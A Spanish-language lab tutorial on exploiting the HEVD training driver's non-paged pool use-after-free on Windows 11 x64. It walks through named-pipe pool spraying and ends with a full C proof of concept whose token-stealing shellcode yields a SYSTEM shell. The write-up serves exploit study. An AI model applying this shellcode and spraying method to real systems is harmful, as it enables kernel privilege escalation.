Habiendo aprovechado el UaF en Windows 7 (x86), hemos obtenido una idea sólida de cómo funciona esta vulnerabilidad, es hora de intentar esto en Windows 11 (x64).

Es importante tener en cuenta que, aunque confirmamos que Violet Phosphorus funciona contra Windows 11 24H2, durante el resto de la serie usaré Windows 11 (x64) - 10.0.22000 N/A Build 22000, simplemente porque esta es la versión con la que probé las vulnerabilidades durante el desarrollo inicial.

Puede adaptar cualquiera de estos tutoriales a la última versión de Windows; sin embargo, como se indicó anteriormente, es probable que te encuentres con nuevos controles de seguridad introducidos en la última versión del OS.

Table of Contents

Ingeniería Inversa

Ya sabemos mucho sobre esta vulnerabilidad ya que la aprovechamos anteriormente en Windows 7 (x86), sin embargo, hay algunas cosas que debemos obtener antes de poder continuar. Como anteriormente usamos el código, ahora cambiaremos nuestro enfoque en el uso de Ghidra. Para crear nuestro exploit necesitaremos la siguiente información:

  • El tamaño del objeto (para aprovechar la UaF)
  • IOCTL códigos

Esta información se puede obtener fácilmente ya que sabemos dónde buscar. El tamaño del objeto en x64 ha cambiado de 0x58 bytes a 0x60 bytes como se muestra aquí.

alt text

Los códigos IOCTL los podemos obtener de el IrpDeviceIoCtlHandler(), los que nos importan son los siguientes:

Function IOCTL Code
AllocateUaFObjectNonPagedPoolIoctlHandler 0x222013
UseUaFObjectNonPagedPoolIoctlHandler 0x222017
FreeUaFObjectNonPagedPoolIoctlHandler 0x22201b
AllocateFakeObjectNonPagedPoolIoctlHandler 0x22201f

Con eso tenemos todo lo que necesitamos para crear un PoC.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// Allocated object size
#define OBJ_SIZE 0x60

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

char *allocate_buffer()
{
  char *buffer = malloc(OBJ_SIZE);
  if (buffer != NULL)
  {
    memset(buffer, 0x41, OBJ_SIZE);
  }

  return buffer;
}

int main()
{
  HANDLE hHEVD = NULL;
  char *evilBuffer = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  evilBuffer = allocate_buffer();
  if (evilBuffer == NULL)
  {
    printf("[*] Failed to allocate evil buffer for fake object\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Allocating new object of size 0x%x\n", OBJ_SIZE);
  sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, evilBuffer, OBJ_SIZE);

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);
}

Sin embargo, una vez enviado, no tenemos control sobre el puntero de función. Qué paso?

Dando un Paso Atrás

Decidí establecer puntos de interrupción en las siguientes ubicaciones:

  1. Creación de la estructura
  2. Liberación de dicha estructura
  3. Creación del objeto falso
  4. Activando el UAF

Los puntos de interrupción que utilicé están aquí:

bu HEVD+0x87a8a # Instruction after calling ExAllocatePoolWithTag(global_struct)
bu HEVD+0x87c20 # Instruction after calling ExFreePoolWithTag(global_struct)
bu HEVD+0x87912 # Instruction after calling ExAllocatePoolWithTag(global_struct)
bu HEVD+0x87cf2 # CALL RCX (function pointer within the global_struct)

Mientras establecía estos puntos de interrupción, noté algo muy importante… Nuestro objeto recién asignado o más bien objeto falso NO ES 0x60 bytes en cambio el original 0x58 bytes.

alt text

Esto significa que necesitaremos encontrar una nueva forma de crear un nuevo objeto del mismo tamaño…

Kernel Heap Fengshui (Alex Ionescu)

En este punto no sabía que hacer…

  • Qué técnicas existen para crear memoria en el NonPaged heap?
  • Se puede hacer esto desde Userland?

Empecé a buscar en Google si alguien más había resuelto esto y encontré artículos de VulnDev y hicieron referencia a una publicación de Alex Ionescu escribiendo una técnica para hacer eso, así que decidí leer y tratar de entender el arte de Heap Fengshui.

Piscinas

Cada vez que escuche la palabra “pool” en referencia al kernel de Windows, solo necesitas saber que son estructuras utilizadas para controlar el heap del kernel de Windows.

El enfoque va ser en dos generadores de regiones de memoria: el generador normal y el grande.

  • Regular: Utilizadas para crear memoria que cabe dentro de una página, utilizan espacio para contener un “pool header” y un sección de memoria libre inicialmente
  • Big: Se utiliza para cualquier cosa más grande que una página y ocupa una o más páginas. También se utilizan cuando se utiliza el tipo CacheAligned de memoria de grupo, independientemente del tamaño de la memoria creada. No hay forma de garantizar fácilmente la alineación de la caché sin dedicar una página completa a una región de memoria creada.

Dado que no hay espacio para un “header” en grandes regiones de memoria creadas, estas páginas se rastrean en una “Big Pool Tracking Table” separada (nt!PoolBigPageTable). Cada entrada en esta tabla está representada por una estructura POOL_TRACKER_BIG_PAGES

struct _POOL_TRACKER_BIG_PAGES
{
    volatile ULONGLONG Va;                                                  //0x0
    ULONG Key;                                                              //0x8
    ULONG Pattern:8;                                                        //0xc
    ULONG PoolType:12;                                                      //0xc
    ULONG SlushSize:12;                                                     //0xc
    ULONGLONG NumberOfBytes;                                                //0x10
    struct _EPROCESS* ProcessBilled;                                        //0x18
};

Una cosa a tener en cuenta es que la dirección virtual (VA) tiene un operador OR para indicar si está libre o en uso. Alex Ionescu nos propone un script para que WinDbg muestre todas las asignaciones de grupos grandes y algún código de controlador, pero no pude hacerlo funcionar.

Por ahora, decidí seguir adelante y volver a esto más adelante, una vez que empiece a escribir mis propios controladores de kernel.

Uso de Cloro para Piscinas

Nuestro objetivo es encontrar una API en modo de usuario que nos dé control sobre la información en modo kernel de un objeto del kernel y crear memoria dentro del “big pool”.

Hay dos ejemplos fáciles (según el autor xD):

  1. Crear un socket local, escucharlo, conectarse desde otro hilo, aceptar la conexión y luego emitir una escritura de> 4 KB de datos del socket, pero no leerlo. Esto dará resultado en el “Ancillary Function Driver (AFD.sys)”, creando los datos del socket en la memoria en modo kernel. Como la pila de red de Windows funciona en DISPATCH_LEVEL (IRQL 2), y la paginación no está disponible, la AFD utilizará un buffer de grupo no paginado para la asignación.
  2. Crear un “named pipe” y emitir una escritura de >4 KB de datos, pero no leerlos. Esto dará como resultado que el sistema de archivos de “Named Pipe File System (NPFS.SYS)” también asigne los datos de canalización en un búfer de grupo no paginado (porque NPFS también realiza la gestión del búfer en DISPATCH_LEVEL).

La opción 2 es la más sencilla y requiere menos líneas de código. Lo importante que debemos tener en cuenta es que NPFS antepondrá nuestro búfer con su propio “header” interno, que se llama DATA_ENTRY. Cada versión de NPFS tiene un tamaño diferente.

/* The Entries that go into the Queue */
typedef struct _NP_DATA_QUEUE_ENTRY
{
    LIST_ENTRY QueueEntry;
    ULONG DataEntryType;
    PIRP Irp;
    ULONG QuotaInEntry;
    PSECURITY_CLIENT_CONTEXT ClientSecurityContext;
    ULONG DataSize;
} NP_DATA_QUEUE_ENTRY, *PNP_DATA_QUEUE_ENTRY;

La forma de solucionar esto es crear el búfer en modo de usuario con las compensaciones correctas. Finalmente, la clave aquí es tener un búfer que sea al menos del tamaño de una página, para que podamos forzar el asignador de el “big pool”.

Regresando a VulnDev

Todavía estaba confundido sobre qué hacer porque la publicación de Alex parecía usar un script de WinDbg que no funcionaba y librerías de controladores en modo Kernel (tal vez soy un n00b?). Quizás las cosas yan cambiado y ese código no funcione con nuestra versión de Windows.

Lo que sigue es ver lo que hizo VulnDev e implementarlo en nuestro exploit. Parecía que VulnDev pudo lograr la asignación de un objeto (cualquier tamaño >0x48) en el NonPagedPool.

El PoC se puede ver aquí:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  DWORD ALLOC_SIZE   = 0x70;
  BYTE uBuffer[0x28] = { 0 }; // ALLOC_SIZE - HEADER_SIZE (0x48)
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x28, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

int main()
{
  HANDLE hHEVD = NULL;

  PipeHandles pipeHandle = CreatePipeObject();

  printf("[*] Handles: 0x%llx, 0x%llx", pipeHandle.read, pipeHandle.write);
  getchar();
  DebugBreak();

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  printf("[*] Allocating structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  return 0;
}

Una vez más, utilizamos la implementación de VulnDevs. Si ejecutamos esto, los identificadores se imprimen en STDOUT y podemos inspeccionarlos usando WinDbg.

alt text

En el resultado anterior vemos que el objeto está en un NonPagedPool pero su tamaño es 0x190, qué pasó? Como se menciona en la publicación, al realizar estas operaciones se creó un objeto de DATA_ENTRY. Estos objetos se asignan mediante la etiqueta “NpFr”. Podemos encontrarlo usando !poolused. Al igual que VulnDev, cuando intenté encontrar esto usando poolfind, no tuve suerte..

alt text

Sin embargo, esto muestra que hemos asignado correctamente 112 bytes en el NonPagedPool. Todo tiene sentido ahora… la ecuación es básicamente:

sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE

Esto se demuestra si ejecutamos el código con las modificaciones adecuadas:

alt text

Hay otro problema. Dado que el kernel tiene asignaciones en todo momento, no hay garantía de que nuestra asignación tome la ubicación del objeto liberado.

Una forma de solucionar esto es crear un montón de hoyos, rodeados de asignaciones que controlamos. Esto nos da una buena oportunidad de obtener nuestra condición de UAF. Una vez que hayamos asignado y liberado el objeto normal, podemos crear un montón de objetos falsos usando AllocateFakeObjectNonPagedPool, esto aumenta nuestras posibilidades de tomar la memoria de asignación liberada.

Básicamente lo que vamos a hacer es:

  1. Asigne un montón de objetos DATA_ENTRY (CreatePipe + WriteFile)
  2. Libere cada segundo objeto DATA_ENTRY para crear ubicaciones de asignación gratuitas (hoyod)
  3. Asigne la estructura USE_AFTER_FREE_NON_PAGED_POOL
  4. Libere la estructura USE_AFTER_FREE_NON_PAGED_POOL
  5. Intente recuperar la memoria liberada (donde alguna vez estuvo la estructura USE_AFTER_FREE_NON_PAGED_POOL)
  6. Activar el UAF y llame a nuestro objeto falso.

Para lograr esto utilicé el siguiente código:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 }; // sizeof(uBuffer) + (sizeof(_NP_DATA_QUEUE_ENTRY) == 0x48) == ALLOC_SIZE
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

void sendIoctl(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

#define DEF_PIPES 20000
#define SEQ_PIPES 60000

int main()
{
  int i                                    = 0;
  HANDLE hHEVD                             = NULL;
  BYTE uBuffer[0x58]                       = {0};
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  sendIoctl(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  sendIoctl(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(uBuffer) = (uint64_t)(0x41414141);
  for (int i = 0; i < 30000; i++)
    sendIoctl(hHEVD, ALLOCATE_FAKE_OBJ, uBuffer, sizeof(uBuffer));

  printf("[*] Triggering UAF\n");
  sendIoctl(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return 0;
}

Explotación

Entonces, cómo podemos llegar a nuestro shellcode? Aprendimos que al intentar obtener la ejecución de código en Windows 10, una de las rutas de ataque es marcar la entrada de la tabla de páginas (PTE) como una página del kernel. Sin embargo, dado que la asignación fue realizada por el kernel y marcada como ejecutable, la entrada señalada por RAX debería estar clara para su ejecución!

alt text

Dado que tenemos 0x60 bytes de espacio, este debería ser espacio más que suficiente para nuestra carga útil de robo de tokens + código de recuperación. El plan de escape es el siguiente:

  1. Encuentra un gadget para:
    • Incrementar RAX para que apunte más allá de los primeros 8 bytes en la asignación del grupo no paginado
    • Saltar a RAX
  2. Ejecute el Shellcode
  3. Reparar la Stack

Esta es una imagen de lo que estamos tratando de lograr:

alt text

Después de una buena batalla, podemos obtener el shell de SYSTEM en Winderp 11.

Aquí está el PoC final:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <windows.h>
#include <psapi.h>

// IOCTL Codes
#define ALLOCATE_REAL_OBJ 0x222013
#define CALL_FUNC_PTR     0x222017
#define FREE_OBJ          0x22201b
#define ALLOCATE_FAKE_OBJ 0x22201f

// DATA_ENTRY Allocations
#define DEF_PIPES 20000
#define SEQ_PIPES 60000

/* CreatePipeObject():
     This function creates a pipe and returns the handles to the read and write ends of said pipe. However,
     what this does in the case of our exploit is create an allocation in the NonPaged pool. It's important
     to note each allocation is made by the Named Pipe File System (NPFS.sys). That said it will prepend an
     allocation with a DATA_ENTRY structure (or NP_DATA_QUEUE_ENTRY), on an x86_64 system this structure is 
     0x48 bytes. So each allocation must be greater than 0x48 bytes. Equation below:

       CreatePipe(HANDLE hR, HANDLE hW, NULL, nSize);
       NonPagedAllocation = nSize + sizeof(_NP_DATA_QUEUE_ENTRY)

     So in our case we're allocating 0x60 bytes in the NonPaged pool. This code was taken from VulnDevs
     blog located here:

       https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/

    The only difference is this was written in C vs C++ */
typedef struct PipeHandles {
  HANDLE read;
  HANDLE write;
} PipeHandles;

struct PipeHandles CreatePipeObject() {
  BYTE uBuffer[0x18] = { 0 };
  HANDLE readPipe    = NULL;
  HANDLE writePipe   = NULL;
  DWORD resultLength = 0;

  RtlFillMemory(uBuffer, 0x18, 0x41);
  if (!CreatePipe(&readPipe, &writePipe, NULL, sizeof(uBuffer))) {
    printf("[-] CreatePipe\n");
  }

  if (!WriteFile(writePipe, uBuffer, sizeof(uBuffer), &resultLength, NULL)) {
    printf("[-] WriteFile\n");
  }

  return (struct PipeHandles) {.read = readPipe, .write = writePipe};
}

/* SendIOCTL():
     Send the IOCTL code to the driver */
void SendIOCTL(HANDLE hHEVD, DWORD dIoctl, CHAR *pBuffer, DWORD dBuffer)
{
  DWORD bytesReturned = 0;

  DeviceIoControl(hHEVD,
                  dIoctl,
                  pBuffer,
                  dBuffer,
                  NULL,
                  0x00,
                  &bytesReturned,
                  NULL);

  return;
}

/* GetKernelBaseAddress():
     Using EnumDeviceDrivers() obtain the base address of ntoskrnl.exe */
uint64_t GetKernelBaseAddress()
{
  ULONG_PTR pKernelBaseAddress = 0;
  LPVOID *lpImageBase          = NULL;
  DWORD dwBytesNeeded          = 0;

  if (!EnumDeviceDrivers(NULL, 0, &dwBytesNeeded)) {
    printf("[-] Failed to calculate bytes needed for device driver entries");
    return -1;
  }

  if (!(lpImageBase = (LPVOID *)HeapAlloc(GetProcessHeap(), 0, dwBytesNeeded))) {
    printf("[-] Failed to allocate heap for lpImageBase\n");
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  if (!EnumDeviceDrivers(lpImageBase, dwBytesNeeded, &dwBytesNeeded)) {
    printf("[-] EnumDeviceDrivers: %d", GetLastError());
    if (lpImageBase) {
      HeapFree(GetProcessHeap(), 0, lpImageBase);
    }
    return -1;
  }

  pKernelBaseAddress = ((ULONG_PTR *)lpImageBase)[0];
  HeapFree(GetProcessHeap(), 0, lpImageBase);

  printf("[*] Kernel Base Address: %llx\n", pKernelBaseAddress);

  return pKernelBaseAddress;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     NonPaged Pool UAF */
int Exploit(HANDLE hHEVD)
{
  PipeHandles defragPipeHandles[DEF_PIPES] = {0};
  PipeHandles seqPipeHandles[SEQ_PIPES]    = {0};
  int i                                    = 0;
  int64_t kernelBaseAddr                   = GetKernelBaseAddress();

  char cShellcode[0x58] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // FUNCTION POINTER
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90" // NOP SLED

  // sickle -p windows/x64/kernel_token_stealer -f c -m pinpoint
  "\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // movabs rax, qword ptr gs:[0x188]
  "\x48\x8b\x80\xb8\x00\x00\x00"                 // mov rax, qword ptr [rax + 0xb8]
  "\x48\x89\xc1"                                 // mov rcx, rax
  "\xb2\x04"                                     // mov dl, 4
  "\x48\x8b\x80\x48\x04\x00\x00"                 // mov rax, qword ptr [rax + 0x448]
  "\x48\x2d\x48\x04\x00\x00"                     // sub rax, 0x448
  "\x38\x90\x40\x04\x00\x00"                     // cmp byte ptr [rax + 0x440], dl
  "\x75\xeb"                                     // jne 0x1017
  "\x48\x8b\x90\xb8\x04\x00\x00"                 // mov rdx, qword ptr [rax + 0x4b8]
  "\x48\x89\x91\xb8\x04\x00\x00"                 // mov qword ptr [rcx + 0x4b8], rdx

  // KERNEL RECOVERY
  "\x48\x31\xc0"                         // xor rax, rax 
  "\x48\x83\xc4\x48"                     // add rsp, 0x48 
  "\xc3";                                // ret 

  /* I found this intresting, we must allocate DATA_ENTRY objects like so otherwise
     we will fail to allocate any. We have to start with a low amount THEN allocate
     the sequential DATA_ENTRY objects. Although this is just 80000 allocations, we
     CANNOT just use one loop to hold all 80000 allocations. We must space it out */
  printf("[*] Spraying objects for pool defragmentation\n");
  for (i = 0; i < DEF_PIPES; i++)
    defragPipeHandles[i] = CreatePipeObject();
  for (i = 0; i < SEQ_PIPES; i++)
    seqPipeHandles[i] = CreatePipeObject();

  printf("[*] Creating holes to store object\n");
  for (i = 0; i < SEQ_PIPES; i++) {
    if (i % 2 == 0) {
      CloseHandle(seqPipeHandles[i].read);
      CloseHandle(seqPipeHandles[i].write);
    }
  }
  
  printf("[*] Allocating target structure\n");
  SendIOCTL(hHEVD, ALLOCATE_REAL_OBJ, NULL, 0);

  printf("[*] Freeing target structure\n");
  SendIOCTL(hHEVD, FREE_OBJ, NULL, 0);

  printf("[*] Filling holes with custom objects\n");
  *(uint64_t *)(cShellcode) = (uint64_t)(kernelBaseAddr + 0x40176b); /* add al, 0x10 ; call rax [nt] */
  for (int i = 0; i < 30000; i++)
    SendIOCTL(hHEVD, ALLOCATE_FAKE_OBJ, cShellcode, 0x58);

  printf("[*] Triggering UAF\n");
  SendIOCTL(hHEVD, CALL_FUNC_PTR, NULL, 0);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy your shell\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
    return -1;
  }

  return 0;
}

Una vez compilado (x86_64-w64-mingw32-gcc poc.c -o poc.exe), conseguimos nuestro acceso :)

alt text

Recursos

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
https://vulndev.io/2022/07/14/windows-kernel-exploitation-hevd-x64-use-after-free/
https://web.archive.org/web/20230602115237/https://www.alex-ionescu.com/kernel-heap-spraying-like-its-2015-swimming-in-the-big-kids-pool/
https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
https://connormcgarr.github.io/swimming-in-the-kernel-pool-part-1/
https://www.vergiliusproject.com/